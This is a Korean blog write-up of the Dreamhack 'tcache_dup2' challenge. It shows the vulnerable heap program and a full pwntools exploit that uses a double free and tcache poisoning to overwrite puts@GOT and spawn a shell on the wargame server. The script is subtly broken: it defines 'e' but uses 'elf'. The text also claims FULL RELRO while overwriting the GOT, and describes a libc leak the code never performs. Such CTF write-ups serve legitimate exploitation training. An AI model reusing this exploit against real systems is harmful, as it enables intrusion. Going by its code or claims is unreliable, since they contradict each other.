[Dreamhack] System Hacking Stage 12 - tcache_dup2

2022. 5. 2. 02:10·Hacking/System

문제

문제에서 주어진 코드이다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
	size_t size;

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	ptr[idx] = malloc(size);

	if(!ptr[idx])
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size-1);

}

void modify_heap() {
	size_t size, idx;

	printf("idx: ");
	scanf("%ld", &idx);

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	if( size > 0x10 ) 
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size);
}

void delete_heap() {
	size_t idx;

	printf("idx: ");
	scanf("%ld", &idx);
	if( idx >= 7 ) 
		exit(0);

	if( !ptr[idx] ) 
		exit(0);

	free(ptr[idx]);
}

void get_shell() {
	system("/bin/sh");
}
int main() {
	int idx;
	int i = 0;

	initialize();

	while(1) {
		printf("1. Create heap\n");
		printf("2. Modify heap\n");
		printf("3. Delete heap\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				create_heap(i);
				i++;
				break;
			case 2:
				modify_heap();
				break;
			case 3:
				delete_heap();
				break;
			default:
				break;
		}
	}
}

 

취약점 탐색

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다.

따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여 libc의 주소를 계산할 수 있다.

이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다.

Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.

void delete_heap() {
	size_t idx;

	printf("idx: ");
	scanf("%ld", &idx);
	if( idx >= 7 ) 
		exit(0);

	if( !ptr[idx] ) 
		exit(0);

	free(ptr[idx]);
}

ptr[idx]를 해제하고 나서 ptr[idx]포인터를 초기화하지 않으므로 이를 다시 해제하는 것이 가능하다.

즉, Double Free 취약점이 존재한다.

void modify_heap() {
	size_t size, idx;

	printf("idx: ");
	scanf("%ld", &idx);

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	if( size > 0x10 ) 
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size);
}

chunk포인터를 초기화하지 않으므로 해제된 청크의 데이터를 조작할 수 있다.

이를 이용하면 Double Free와 관련된 보호 기법을 우회할 수 있을 것이다.

 

익스플로잇 코드

일단 checksec로 정보를 파악하자.

먼저, 코드를 컴파일하고 checksec으로 보호 기법을 파악했다.

NX와 FULL RELRO 보호 기법이 적용된 것을 확인할 수 있다.

이런 경우, 훅을 덮는 공격을 고려해볼 수 있다.

from pwn import *

p = remote("host1.dreamhack.games", 12165)
e = ELF("./tcache_dup2")

get_shell = elf.symbols["get_shell"]
got_puts = elf.got["puts"]

def create(size, data):
   p.sendlineafter(">", "1")
   p.sendlineafter("Size: ", str(size))
   p.sendlineafter("Data: ", str(data))

def modify(idx, size, data):
   p.sendlineafter(">", "2")
   p.sendlineafter("idx: ", str(idx))
   p.sendlineafter("Size: ", str(size))
   p.sendafter("Data: ", str(data))

def delete(idx):
   p.sendlineafter(">", "3")
   p.sendlineafter(":", str(idx))

create(0x10, "A"*0x10)
create(0x10, "A"*0x10)
create(0x10, "A"*0x10)

delete(0)
delete(1)
delete(2)

modify(2, 0x10, "A"*0x8 + "\x00")
delete(2)

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_puts))

create(0x10, "A"*0x10)

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))

p.interactive()

작성한 익스플로잇 코드이다.

create(0x10, "A"*0x10)
create(0x10, "A"*0x10)
create(0x10, "A"*0x10)

delete(0)
delete(1)
delete(2)

공격에 사용할 청크를 할당하고 해제한다.

이는 이후 할당할 때 tcache_entry를 참조하여 할당할 수 있게 하기 위해서이다.

modify(2, 0x10, "A"*0x8 + "\x00")
delete(2)

modify 함수를 통해 세 번째 청크를 덮어쓰고 해제한다.

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(got_puts))

create(0x10, "A"*0x10)

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))

tcache_entry를 puts@got의 주소로 덮어쓴다.

그 뒤 힙을 두 번 더 할당해서 get_shell의 주소로 덮어쓴다.

got_overwrite를 통해 셸을 구할 수 있다.

끝~~

'Hacking/System' 카테고리의 다른 글
  • [Pwnable.kr] collision
  • [Pwnable.kr] bof
  • [Dreamhack] System Hacking Stage 12 - tcache_dup
  • [Dreamhack] System Hacking Stage 12 - Exploit Tech: Tcache Poisoning
단축키실행해보세요
단축키실행해보세요
공대생
  • 단축키실행해보세요
    Ctrl + Shift + ESC
    단축키실행해보세요
  • 전체
    오늘
    어제
    • 분류 전체보기 (171)
      • 외부 활동 (4)
      • BOJ (36)
        • Python (24)
        • C++ (12)
        • Java (0)
      • Hacking (91)
        • Crypto (4)
        • Forensics (2)
        • Mobile Hacking (5)
        • Reversing (21)
        • System (21)
        • Web Hacking (38)
      • Cloud (14)
        • Serverless (1)
        • AWS (8)
      • ML (5)
      • Data Structure (16)
      • Git (0)
      • DevOps (0)
        • Terraform (0)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    백준
    S3
    Dreamhack
    backjoon
    유석종교수님
    datastructure
    ML
    AI
    System
    bWAPP
    자료구조
    acc
    pwnable
    AWS
    Systemhacking
    c
    beebox
    basicrce3
    cloud
    Reversing
    SISS
    htmlinjection
    python
    SAA
    Reflected
    부하테스트
    CodeEngn
    Redis
    XPath
    EC2
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
단축키실행해보세요
[Dreamhack] System Hacking Stage 12 - tcache_dup2
상단으로

티스토리툴바